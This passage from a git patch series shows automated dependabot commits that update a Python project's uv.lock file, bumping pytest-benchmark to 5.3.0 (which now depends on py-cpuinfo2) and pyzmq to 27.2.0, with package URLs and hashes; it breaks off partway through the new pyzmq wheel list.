"https://files.pythonhosted.org/packages/8b/10/15d4314edf130955edf2dc237aa393a8a7c10f2b9b57b89fa2f61f915659/maturin-1.15.0-py3-none-win_arm64.whl", hash = "sha256:c7dc0c66c78d3debdd9c5aa807e861fbcbf07f3505d34b125df74c03986b0f48", size = 9713795, upload-time = "2026-08-24T12:11:20.83Z" }, ] [[package]] From f63ddbb0ca9eb02048617a5d85af4343edee2c34 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 31 Aug 2026 11:25:21 -0400 Subject: [PATCH 068/256] Bump pytest-benchmark from 5.2.3 to 5.3.0 (#3410) Bumps [pytest-benchmark](https://github.com/ionelmc/pytest-benchmark) from 5.2.3 to 5.3.0. - [Release notes](https://github.com/ionelmc/pytest-benchmark/releases) - [Changelog](https://github.com/ionelmc/pytest-benchmark/blob/master/CHANGELOG.rst) - [Commits](https://github.com/ionelmc/pytest-benchmark/compare/v5.2.3...v5.3.0) --- updated-dependencies: - dependency-name: pytest-benchmark dependency-version: 5.3.0 dependency-type: direct:development update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- uv.lock | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/uv.lock b/uv.lock index c9212287a7..c523ccd276 100644 --- a/uv.lock +++ b/uv.lock @@ -2102,12 +2102,12 @@ wheels = [ ] [[package]] -name = "py-cpuinfo" -version = "9.0.0" +name = "py-cpuinfo2" +version = "10.1.1" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/37/a8/d832f7293ebb21690860d2e01d8115e5ff6f2ae8bbdc953f0eb0fa4bd2c7/py-cpuinfo-9.0.0.tar.gz", hash = "sha256:3cdbbf3fac90dc6f118bfd64384f309edeadd902d7c8fb17f02ffa1fc3f49690", size = 104716, upload-time = "2022-10-25T20:38:06.303Z" } +sdist = { url = "https://files.pythonhosted.org/packages/dc/97/a8b1ddada14c8280a047c0746f95cb05d94a31b1a331cea22bcdc2b2a82d/py_cpuinfo2-10.1.1.tar.gz", hash = "sha256:7861133863663f16e06eca63b12904ef100b5760415e92372dac0162799a4771", size = 100840, upload-time = "2026-03-25T21:49:40.797Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/e0/a9/023730ba63db1e494a271cb018dcd361bd2c917ba7004c3e49d5daf795a2/py_cpuinfo-9.0.0-py3-none-any.whl", hash = "sha256:859625bc251f64e21f077d099d4162689c762b5d6a4c3c97553d56241c9674d5", size = 22335, upload-time = "2022-10-25T20:38:27.636Z" }, + { url = "https://files.pythonhosted.org/packages/23/0a/ba69d2dde1ae12ef1d389ea5a216384c5ff6ef7a1e7a48d1e9b6686f6790/py_cpuinfo2-10.1.1-py3-none-any.whl", hash = "sha256:adc53396bfb206e6498d078ec2ab407f85799ecd819584ac36a8f80a2d4d762d", size = 23791, upload-time = "2026-03-25T21:49:39.574Z" }, ] [[package]] @@ -2362,15 +2362,15 @@ wheels = [ [[package]] name = "pytest-benchmark" -version = "5.2.3" +version = "5.3.0" source = { registry = "https://pypi.org/simple" } dependencies = [ - { name = "py-cpuinfo" }, + { name = "py-cpuinfo2" }, { name = "pytest" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/24/34/9f732b76456d64faffbef6232f1f9dbec7a7c4999ff46282fa418bd1af66/pytest_benchmark-5.2.3.tar.gz", hash = "sha256:deb7317998a23c650fd4ff76e1230066a76cb45dcece0aca5607143c619e7779", size = 341340, upload-time = "2025-11-09T18:48:43.215Z" } +sdist = { url = "https://files.pythonhosted.org/packages/63/8f/83a15e40dbc34a580ee56eb56983cae5394c6e94d50cf28fe268e457be25/pytest_benchmark-5.3.0.tar.gz", hash = "sha256:358444d4e89be901ee2b6404fb043ac3d7684002ad7f3563cc153fca6339c965", size = 375410, upload-time = "2026-08-23T17:45:08.891Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/33/29/e756e715a48959f1c0045342088d7ca9762a2f509b945f362a316e9412b7/pytest_benchmark-5.2.3-py3-none-any.whl", hash = "sha256:bc839726ad20e99aaa0d11a127445457b4219bdb9e80a1afc4b51da7f96b0803", size = 45255, upload-time = "2025-11-09T18:48:39.765Z" }, + { url = "https://files.pythonhosted.org/packages/eb/42/7e80f7cfa191e0a766d1de99b4661847415ad5db34f8209d81fd42175b59/pytest_benchmark-5.3.0-py3-none-any.whl", hash = "sha256:920ab1dfcffa718d49aa15ba144c7e357bda59216a0dc308016cc1c7236f719d", size = 48401, upload-time = "2026-08-23T17:45:07.094Z" }, ] [[package]] From 8a52dd212d7902169e329894f0958668c19b4d0f Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 31 Aug 2026 11:29:14 -0400 Subject: [PATCH 069/256] Bump pyzmq from 27.1.0 to 27.2.0 (#3413) Bumps [pyzmq](https://github.com/zeromq/pyzmq) from 27.1.0 to 27.2.0. - [Release notes](https://github.com/zeromq/pyzmq/releases) - [Commits](https://github.com/zeromq/pyzmq/compare/v27.1.0...v27.2.0) --- updated-dependencies: - dependency-name: pyzmq dependency-version: 27.2.0 dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- uv.lock | 125 +++++++++++++++++++++++++++----------------------------- 1 file changed, 60 insertions(+), 65 deletions(-) diff --git a/uv.lock b/uv.lock index c523ccd276..9786018860 100644 --- a/uv.lock +++ b/uv.lock @@ -2587,75 +2587,70 @@ wheels = [ [[package]] name = "pyzmq" -version = "27.1.0" +version = "27.2.0" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "cffi", marker = "implementation_name == 'pypy'" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/04/0b/3c9baedbdf613ecaa7aa07027780b8867f57b6293b6ee50de316c9f3222b/pyzmq-27.1.0.tar.gz", hash = "sha256:ac0765e3d44455adb6ddbf4417dcce460fc40a05978c08efdf2948072f6db540", size = 281750, upload-time = "2025-09-08T23:10:18.157Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/67/b9/52aa9ec2867528b54f1e60846728d8b4d84726630874fee3a91e66c7df81/pyzmq-27.1.0-cp310-cp310-macosx_10_15_universal2.whl", hash = "sha256:508e23ec9bc44c0005c4946ea013d9317ae00ac67778bd47519fdf5a0e930ff4", size = 1329850, upload-time = "2025-09-08T23:07:26.274Z" }, - { url = "https://files.pythonhosted.org/packages/99/64/5653e7b7425b169f994835a2b2abf9486264401fdef18df91ddae47ce2cc/pyzmq-27.1.0-cp310-cp310-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:507b6f430bdcf0ee48c0d30e734ea89ce5567fd7b8a0f0044a369c176aa44556", size = 906380, upload-time = "2025-09-08T23:07:29.78Z" }, - { url = "https://files.pythonhosted.org/packages/73/78/7d713284dbe022f6440e391bd1f3c48d9185673878034cfb3939cdf333b2/pyzmq-27.1.0-cp310-cp310-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bf7b38f9fd7b81cb6d9391b2946382c8237fd814075c6aa9c3b746d53076023b", size = 666421, upload-time = "2025-09-08T23:07:31.263Z" }, - { url = "https://files.pythonhosted.org/packages/30/76/8f099f9d6482450428b17c4d6b241281af7ce6a9de8149ca8c1c649f6792/pyzmq-27.1.0-cp310-cp310-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:03ff0b279b40d687691a6217c12242ee71f0fba28bf8626ff50e3ef0f4410e1e", size = 854149, upload-time = "2025-09-08T23:07:33.17Z" }, - { url = "https://files.pythonhosted.org/packages/59/f0/37fbfff06c68016019043897e4c969ceab18bde46cd2aca89821fcf4fb2e/pyzmq-27.1.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:677e744fee605753eac48198b15a2124016c009a11056f93807000ab11ce6526", size = 1655070, upload-time = "2025-09-08T23:07:35.205Z" }, - { url = "https://files.pythonhosted.org/packages/47/14/7254be73f7a8edc3587609554fcaa7bfd30649bf89cd260e4487ca70fdaa/pyzmq-27.1.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:dd2fec2b13137416a1c5648b7009499bcc8fea78154cd888855fa32514f3dad1", size = 2033441, upload-time = "2025-09-08T23:07:37.432Z" }, - { url = "https://files.pythonhosted.org/packages/22/dc/49f2be26c6f86f347e796a4d99b19167fc94503f0af3fd010ad262158822/pyzmq-27.1.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:08e90bb4b57603b84eab1d0ca05b3bbb10f60c1839dc471fc1c9e1507bef3386", size = 1891529, upload-time = "2025-09-08T23:07:39.047Z" }, - { url = "https://files.pythonhosted.org/packages/a3/3e/154fb963ae25be70c0064ce97776c937ecc7d8b0259f22858154a9999769/pyzmq-27.1.0-cp310-cp310-win32.whl", hash = "sha256:a5b42d7a0658b515319148875fcb782bbf118dd41c671b62dae33666c2213bda", size = 567276, upload-time = "2025-09-08T23:07:40.695Z" }, - { url = "https://files.pythonhosted.org/packages/62/b2/f4ab56c8c595abcb26b2be5fd9fa9e6899c1e5ad54964e93ae8bb35482be/pyzmq-27.1.0-cp310-cp310-win_amd64.whl", hash = "sha256:c0bb87227430ee3aefcc0ade2088100e528d5d3298a0a715a64f3d04c60ba02f", size = 632208, upload-time = "2025-09-08T23:07:42.298Z" }, - { url = "https://files.pythonhosted.org/packages/3b/e3/be2cc7ab8332bdac0522fdb64c17b1b6241a795bee02e0196636ec5beb79/pyzmq-27.1.0-cp310-cp310-win_arm64.whl", hash = "sha256:9a916f76c2ab8d045b19f2286851a38e9ac94ea91faf65bd64735924522a8b32", size = 559766, upload-time = "2025-09-08T23:07:43.869Z" }, - { url = "https://files.pythonhosted.org/packages/06/5d/305323ba86b284e6fcb0d842d6adaa2999035f70f8c38a9b6d21ad28c3d4/pyzmq-27.1.0-cp311-cp311-macosx_10_15_universal2.whl", hash = "sha256:226b091818d461a3bef763805e75685e478ac17e9008f49fce2d3e52b3d58b86", size = 1333328, upload-time = "2025-09-08T23:07:45.946Z" }, - { url = "https://files.pythonhosted.org/packages/bd/a0/fc7e78a23748ad5443ac3275943457e8452da67fda347e05260261108cbc/pyzmq-27.1.0-cp311-cp311-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:0790a0161c281ca9723f804871b4027f2e8b5a528d357c8952d08cd1a9c15581", size = 908803, upload-time = "2025-09-08T23:07:47.551Z" }, - { url = "https://files.pythonhosted.org/packages/7e/22/37d15eb05f3bdfa4abea6f6d96eb3bb58585fbd3e4e0ded4e743bc650c97/pyzmq-27.1.0-cp311-cp311-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c895a6f35476b0c3a54e3eb6ccf41bf3018de937016e6e18748317f25d4e925f", size = 668836, upload-time = "2025-09-08T23:07:49.436Z" }, - { url = "https://files.pythonhosted.org/packages/b1/c4/2a6fe5111a01005fc7af3878259ce17684fabb8852815eda6225620f3c59/pyzmq-27.1.0-cp311-cp311-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5bbf8d3630bf96550b3be8e1fc0fea5cbdc8d5466c1192887bd94869da17a63e", size = 857038, upload-time = "2025-09-08T23:07:51.234Z" }, - { url = "https://files.pythonhosted.org/packages/cb/eb/bfdcb41d0db9cd233d6fb22dc131583774135505ada800ebf14dfb0a7c40/pyzmq-27.1.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:15c8bd0fe0dabf808e2d7a681398c4e5ded70a551ab47482067a572c054c8e2e", size = 1657531, upload-time = "2025-09-08T23:07:52.795Z" }, - { url = "https://files.pythonhosted.org/packages/ab/21/e3180ca269ed4a0de5c34417dfe71a8ae80421198be83ee619a8a485b0c7/pyzmq-27.1.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:bafcb3dd171b4ae9f19ee6380dfc71ce0390fefaf26b504c0e5f628d7c8c54f2", size = 2034786, upload-time = "2025-09-08T23:07:55.047Z" }, - { url = "https://files.pythonhosted.org/packages/3b/b1/5e21d0b517434b7f33588ff76c177c5a167858cc38ef740608898cd329f2/pyzmq-27.1.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:e829529fcaa09937189178115c49c504e69289abd39967cd8a4c215761373394", size = 1894220, upload-time = "2025-09-08T23:07:57.172Z" }, - { url = "https://files.pythonhosted.org/packages/03/f2/44913a6ff6941905efc24a1acf3d3cb6146b636c546c7406c38c49c403d4/pyzmq-27.1.0-cp311-cp311-win32.whl", hash = "sha256:6df079c47d5902af6db298ec92151db82ecb557af663098b92f2508c398bb54f", size = 567155, upload-time = "2025-09-08T23:07:59.05Z" }, - { url = "https://files.pythonhosted.org/packages/23/6d/d8d92a0eb270a925c9b4dd039c0b4dc10abc2fcbc48331788824ef113935/pyzmq-27.1.0-cp311-cp311-win_amd64.whl", hash = "sha256:190cbf120fbc0fc4957b56866830def56628934a9d112aec0e2507aa6a032b97", size = 633428, upload-time = "2025-09-08T23:08:00.663Z" }, - { url = "https://files.pythonhosted.org/packages/ae/14/01afebc96c5abbbd713ecfc7469cfb1bc801c819a74ed5c9fad9a48801cb/pyzmq-27.1.0-cp311-cp311-win_arm64.whl", hash = "sha256:eca6b47df11a132d1745eb3b5b5e557a7dae2c303277aa0e69c6ba91b8736e07", size = 559497, upload-time = "2025-09-08T23:08:02.15Z" }, - { url = "https://files.pythonhosted.org/packages/92/e7/038aab64a946d535901103da16b953c8c9cc9c961dadcbf3609ed6428d23/pyzmq-27.1.0-cp312-abi3-macosx_10_15_universal2.whl", hash = "sha256:452631b640340c928fa343801b0d07eb0c3789a5ffa843f6e1a9cee0ba4eb4fc", size = 1306279, upload-time = "2025-09-08T23:08:03.807Z" }, - { url = "https://files.pythonhosted.org/packages/e8/5e/c3c49fdd0f535ef45eefcc16934648e9e59dace4a37ee88fc53f6cd8e641/pyzmq-27.1.0-cp312-abi3-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:1c179799b118e554b66da67d88ed66cd37a169f1f23b5d9f0a231b4e8d44a113", size = 895645, upload-time = "2025-09-08T23:08:05.301Z" }, - { url = "https://files.pythonhosted.org/packages/f8/e5/b0b2504cb4e903a74dcf1ebae157f9e20ebb6ea76095f6cfffea28c42ecd/pyzmq-27.1.0-cp312-abi3-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3837439b7f99e60312f0c926a6ad437b067356dc2bc2ec96eb395fd0fe804233", size = 652574, upload-time = "2025-09-08T23:08:06.828Z" }, - { url = "https://files.pythonhosted.org/packages/f8/9b/c108cdb55560eaf253f0cbdb61b29971e9fb34d9c3499b0e96e4e60ed8a5/pyzmq-27.1.0-cp312-abi3-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:43ad9a73e3da1fab5b0e7e13402f0b2fb934ae1c876c51d0afff0e7c052eca31", size = 840995, upload-time = "2025-09-08T23:08:08.396Z" }, - { url = "https://files.pythonhosted.org/packages/c2/bb/b79798ca177b9eb0825b4c9998c6af8cd2a7f15a6a1a4272c1d1a21d382f/pyzmq-27.1.0-cp312-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:0de3028d69d4cdc475bfe47a6128eb38d8bc0e8f4d69646adfbcd840facbac28", size = 1642070, upload-time = "2025-09-08T23:08:09.989Z" }, - { url = "https://files.pythonhosted.org/packages/9c/80/2df2e7977c4ede24c79ae39dcef3899bfc5f34d1ca7a5b24f182c9b7a9ca/pyzmq-27.1.0-cp312-abi3-musllinux_1_2_i686.whl", hash = "sha256:cf44a7763aea9298c0aa7dbf859f87ed7012de8bda0f3977b6fb1d96745df856", size = 2021121, upload-time = "2025-09-08T23:08:11.907Z" }, - { url = "https://files.pythonhosted.org/packages/46/bd/2d45ad24f5f5ae7e8d01525eb76786fa7557136555cac7d929880519e33a/pyzmq-27.1.0-cp312-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:f30f395a9e6fbca195400ce833c731e7b64c3919aa481af4d88c3759e0cb7496", size = 1878550, upload-time = "2025-09-08T23:08:13.513Z" }, - { url = "https://files.pythonhosted.org/packages/e6/2f/104c0a3c778d7c2ab8190e9db4f62f0b6957b53c9d87db77c284b69f33ea/pyzmq-27.1.0-cp312-abi3-win32.whl", hash = "sha256:250e5436a4ba13885494412b3da5d518cd0d3a278a1ae640e113c073a5f88edd", size = 559184, upload-time = "2025-09-08T23:08:15.163Z" }, - { url = "https://files.pythonhosted.org/packages/fc/7f/a21b20d577e4100c6a41795842028235998a643b1ad406a6d4163ea8f53e/pyzmq-27.1.0-cp312-abi3-win_amd64.whl", hash = "sha256:9ce490cf1d2ca2ad84733aa1d69ce6855372cb5ce9223802450c9b2a7cba0ccf", size = 619480, upload-time = "2025-09-08T23:08:17.192Z" }, - { url = "https://files.pythonhosted.org/packages/78/c2/c012beae5f76b72f007a9e91ee9401cb88c51d0f83c6257a03e785c81cc2/pyzmq-27.1.0-cp312-abi3-win_arm64.whl", hash = "sha256:75a2f36223f0d535a0c919e23615fc85a1e23b71f40c7eb43d7b1dedb4d8f15f", size = 552993, upload-time = "2025-09-08T23:08:18.926Z" }, - { url = "https://files.pythonhosted.org/packages/60/cb/84a13459c51da6cec1b7b1dc1a47e6db6da50b77ad7fd9c145842750a011/pyzmq-27.1.0-cp313-cp313-android_24_arm64_v8a.whl", hash = "sha256:93ad4b0855a664229559e45c8d23797ceac03183c7b6f5b4428152a6b06684a5", size = 1122436, upload-time = "2025-09-08T23:08:20.801Z" }, - { url = "https://files.pythonhosted.org/packages/dc/b6/94414759a69a26c3dd674570a81813c46a078767d931a6c70ad29fc585cb/pyzmq-27.1.0-cp313-cp313-android_24_x86_64.whl", hash = "sha256:fbb4f2400bfda24f12f009cba62ad5734148569ff4949b1b6ec3b519444342e6", size = 1156301, upload-time = "2025-09-08T23:08:22.47Z" }, - { url = "https://files.pythonhosted.org/packages/a5/ad/15906493fd40c316377fd8a8f6b1f93104f97a752667763c9b9c1b71d42d/pyzmq-27.1.0-cp313-cp313t-macosx_10_15_universal2.whl", hash = "sha256:e343d067f7b151cfe4eb3bb796a7752c9d369eed007b91231e817071d2c2fec7", size = 1341197, upload-time = "2025-09-08T23:08:24.286Z" }, - { url = "https://files.pythonhosted.org/packages/14/1d/d343f3ce13db53a54cb8946594e567410b2125394dafcc0268d8dda027e0/pyzmq-27.1.0-cp313-cp313t-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:08363b2011dec81c354d694bdecaef4770e0ae96b9afea70b3f47b973655cc05", size = 897275, upload-time = "2025-09-08T23:08:26.063Z" }, - { url = "https://files.pythonhosted.org/packages/69/2d/d83dd6d7ca929a2fc67d2c3005415cdf322af7751d773524809f9e585129/pyzmq-27.1.0-cp313-cp313t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d54530c8c8b5b8ddb3318f481297441af102517602b569146185fa10b63f4fa9", size = 660469, upload-time = "2025-09-08T23:08:27.623Z" }, - { url = "https://files.pythonhosted.org/packages/3e/cd/9822a7af117f4bc0f1952dbe9ef8358eb50a24928efd5edf54210b850259/pyzmq-27.1.0-cp313-cp313t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6f3afa12c392f0a44a2414056d730eebc33ec0926aae92b5ad5cf26ebb6cc128", size = 847961, upload-time = "2025-09-08T23:08:29.672Z" }, - { url = "https://files.pythonhosted.org/packages/9a/12/f003e824a19ed73be15542f172fd0ec4ad0b60cf37436652c93b9df7c585/pyzmq-27.1.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:c65047adafe573ff023b3187bb93faa583151627bc9c51fc4fb2c561ed689d39", size = 1650282, upload-time = "2025-09-08T23:08:31.349Z" }, - { url = "https://files.pythonhosted.org/packages/d5/4a/e82d788ed58e9a23995cee70dbc20c9aded3d13a92d30d57ec2291f1e8a3/pyzmq-27.1.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:90e6e9441c946a8b0a667356f7078d96411391a3b8f80980315455574177ec97", size = 2024468, upload-time = "2025-09-08T23:08:33.543Z" }, - { url = "https://files.pythonhosted.org/packages/d9/94/2da0a60841f757481e402b34bf4c8bf57fa54a5466b965de791b1e6f747d/pyzmq-27.1.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:add071b2d25f84e8189aaf0882d39a285b42fa3853016ebab234a5e78c7a43db", size = 1885394, upload-time = "2025-09-08T23:08:35.51Z" }, - { url = "https://files.pythonhosted.org/packages/4f/6f/55c10e2e49ad52d080dc24e37adb215e5b0d64990b57598abc2e3f01725b/pyzmq-27.1.0-cp313-cp313t-win32.whl", hash = "sha256:7ccc0700cfdf7bd487bea8d850ec38f204478681ea02a582a8da8171b7f90a1c", size = 574964, upload-time = "2025-09-08T23:08:37.178Z" }, - { url = "https://files.pythonhosted.org/packages/87/4d/2534970ba63dd7c522d8ca80fb92777f362c0f321900667c615e2067cb29/pyzmq-27.1.0-cp313-cp313t-win_amd64.whl", hash = "sha256:8085a9fba668216b9b4323be338ee5437a235fe275b9d1610e422ccc279733e2", size = 641029, upload-time = "2025-09-08T23:08:40.595Z" }, - { url = "https://files.pythonhosted.org/packages/f6/fa/f8aea7a28b0641f31d40dea42d7ef003fded31e184ef47db696bc74cd610/pyzmq-27.1.0-cp313-cp313t-win_arm64.whl", hash = "sha256:6bb54ca21bcfe361e445256c15eedf083f153811c37be87e0514934d6913061e", size = 561541, upload-time = "2025-09-08T23:08:42.668Z" }, - { url = "https://files.pythonhosted.org/packages/87/45/19efbb3000956e82d0331bafca5d9ac19ea2857722fa2caacefb6042f39d/pyzmq-27.1.0-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:ce980af330231615756acd5154f29813d553ea555485ae712c491cd483df6b7a", size = 1341197, upload-time = "2025-09-08T23:08:44.973Z" }, - { url = "https://files.pythonhosted.org/packages/48/43/d72ccdbf0d73d1343936296665826350cb1e825f92f2db9db3e61c2162a2/pyzmq-27.1.0-cp314-cp314t-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:1779be8c549e54a1c38f805e56d2a2e5c009d26de10921d7d51cfd1c8d4632ea", size = 897175, upload-time = "2025-09-08T23:08:46.601Z" }, - { url = "https://files.pythonhosted.org/packages/2f/2e/a483f73a10b65a9ef0161e817321d39a770b2acf8bcf3004a28d90d14a94/pyzmq-27.1.0-cp314-cp314t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7200bb0f03345515df50d99d3db206a0a6bee1955fbb8c453c76f5bf0e08fb96", size = 660427, upload-time = "2025-09-08T23:08:48.187Z" }, - { url = "https://files.pythonhosted.org/packages/f5/d2/5f36552c2d3e5685abe60dfa56f91169f7a2d99bbaf67c5271022ab40863/pyzmq-27.1.0-cp314-cp314t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:01c0e07d558b06a60773744ea6251f769cd79a41a97d11b8bf4ab8f034b0424d", size = 847929, upload-time = "2025-09-08T23:08:49.76Z" }, - { url = "https://files.pythonhosted.org/packages/c4/2a/404b331f2b7bf3198e9945f75c4c521f0c6a3a23b51f7a4a401b94a13833/pyzmq-27.1.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:80d834abee71f65253c91540445d37c4c561e293ba6e741b992f20a105d69146", size = 1650193, upload-time = "2025-09-08T23:08:51.7Z" }, - { url = "https://files.pythonhosted.org/packages/1c/0b/f4107e33f62a5acf60e3ded67ed33d79b4ce18de432625ce2fc5093d6388/pyzmq-27.1.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:544b4e3b7198dde4a62b8ff6685e9802a9a1ebf47e77478a5eb88eca2a82f2fd", size = 2024388, upload-time = "2025-09-08T23:08:53.393Z" }, - { url = "https://files.pythonhosted.org/packages/0d/01/add31fe76512642fd6e40e3a3bd21f4b47e242c8ba33efb6809e37076d9b/pyzmq-27.1.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:cedc4c68178e59a4046f97eca31b148ddcf51e88677de1ef4e78cf06c5376c9a", size = 1885316, upload-time = "2025-09-08T23:08:55.702Z" }, - { url = "https://files.pythonhosted.org/packages/c4/59/a5f38970f9bf07cee96128de79590bb354917914a9be11272cfc7ff26af0/pyzmq-27.1.0-cp314-cp314t-win32.whl", hash = "sha256:1f0b2a577fd770aa6f053211a55d1c47901f4d537389a034c690291485e5fe92", size = 587472, upload-time = "2025-09-08T23:08:58.18Z" }, - { url = "https://files.pythonhosted.org/packages/70/d8/78b1bad170f93fcf5e3536e70e8fadac55030002275c9a29e8f5719185de/pyzmq-27.1.0-cp314-cp314t-win_amd64.whl", hash = "sha256:19c9468ae0437f8074af379e986c5d3d7d7bfe033506af442e8c879732bedbe0", size = 661401, upload-time = "2025-09-08T23:08:59.802Z" }, - { url = "https://files.pythonhosted.org/packages/81/d6/4bfbb40c9a0b42fc53c7cf442f6385db70b40f74a783130c5d0a5aa62228/pyzmq-27.1.0-cp314-cp314t-win_arm64.whl", hash = "sha256:dc5dbf68a7857b59473f7df42650c621d7e8923fb03fa74a526890f4d33cc4d7", size = 575170, upload-time = "2025-09-08T23:09:01.418Z" }, - { url = "https://files.pythonhosted.org/packages/f3/81/a65e71c1552f74dec9dff91d95bafb6e0d33338a8dfefbc88aa562a20c92/pyzmq-27.1.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:c17e03cbc9312bee223864f1a2b13a99522e0dc9f7c5df0177cd45210ac286e6", size = 836266, upload-time = "2025-09-08T23:09:40.048Z" }, - { url = "https://files.pythonhosted.org/packages/58/ed/0202ca350f4f2b69faa95c6d931e3c05c3a397c184cacb84cb4f8f42f287/pyzmq-27.1.0-pp310-pypy310_pp73-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:f328d01128373cb6763823b2b4e7f73bdf767834268c565151eacb3b7a392f90", size = 800206, upload-time = "2025-09-08T23:09:41.902Z" }, - { url = "https://files.pythonhosted.org/packages/47/42/1ff831fa87fe8f0a840ddb399054ca0009605d820e2b44ea43114f5459f4/pyzmq-27.1.0-pp310-pypy310_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9c1790386614232e1b3a40a958454bdd42c6d1811837b15ddbb052a032a43f62", size = 567747, upload-time = "2025-09-08T23:09:43.741Z" }, - { url = "https://files.pythonhosted.org/packages/d1/db/5c4d6807434751e3f21231bee98109aa57b9b9b55e058e450d0aef59b70f/pyzmq-27.1.0-pp310-pypy310_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:448f9cb54eb0cee4732b46584f2710c8bc178b0e5371d9e4fc8125201e413a74", size = 747371, upload-time = "2025-09-08T23:09:45.575Z" }, - { url = "https://files.pythonhosted.org/packages/26/af/78ce193dbf03567eb8c0dc30e3df2b9e56f12a670bf7eb20f9fb532c7e8a/pyzmq-27.1.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:05b12f2d32112bf8c95ef2e74ec4f1d4beb01f8b5e703b38537f8849f92cb9ba", size = 544862, upload-time = "2025-09-08T23:09:47.448Z" }, - { url = "https://files.pythonhosted.org/packages/4c/c6/c4dcdecdbaa70969ee1fdced6d7b8f60cfabe64d25361f27ac4665a70620/pyzmq-27.1.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:18770c8d3563715387139060d37859c02ce40718d1faf299abddcdcc6a649066", size = 836265, upload-time = "2025-09-08T23:09:49.376Z" }, - { url = "https://files.pythonhosted.org/packages/3e/79/f38c92eeaeb03a2ccc2ba9866f0439593bb08c5e3b714ac1d553e5c96e25/pyzmq-27.1.0-pp311-pypy311_pp73-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:ac25465d42f92e990f8d8b0546b01c391ad431c3bf447683fdc40565941d0604", size = 800208, upload-time = "2025-09-08T23:09:51.073Z" }, - { url = "https://files.pythonhosted.org/packages/49/0e/3f0d0d335c6b3abb9b7b723776d0b21fa7f3a6c819a0db6097059aada160/pyzmq-27.1.0-pp311-pypy311_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:53b40f8ae006f2734ee7608d59ed661419f087521edbfc2149c3932e9c14808c", size = 567747, upload-time = "2025-09-08T23:09:52.698Z" }, - { url = "https://files.pythonhosted.org/packages/a1/cf/f2b3784d536250ffd4be70e049f3b60981235d70c6e8ce7e3ef21e1adb25/pyzmq-27.1.0-pp311-pypy311_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f605d884e7c8be8fe1aa94e0a783bf3f591b84c24e4bc4f3e7564c82ac25e271", size = 747371, upload-time = "2025-09-08T23:09:54.563Z" }, - { url = "https://files.pythonhosted.org/packages/01/1b/5dbe84eefc86f48473947e2f41711aded97eecef1231f4558f1f02713c12/pyzmq-27.1.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:c9f7f6e13dff2e44a6afeaf2cf54cee5929ad64afaf4d40b50f93c58fc687355", size = 544862, upload-time = "2025-09-08T23:09:56.509Z" }, +sdist = { url = "https://files.pythonhosted.org/packages/e7/8d/5b3d5631c2f4b4b8862f64cd0c9eb777b5710eeb5125b4be8dd0a200a4c0/pyzmq-27.2.0.tar.gz", hash = "sha256:54d4259d1bfae24ecdb5ca79f7acc2eac6c286a02d6a0ae617797cb45f0726d3", size = 292316, upload-time = "2026-08-20T19:08:21.19Z" } +wheels = [ + { url = 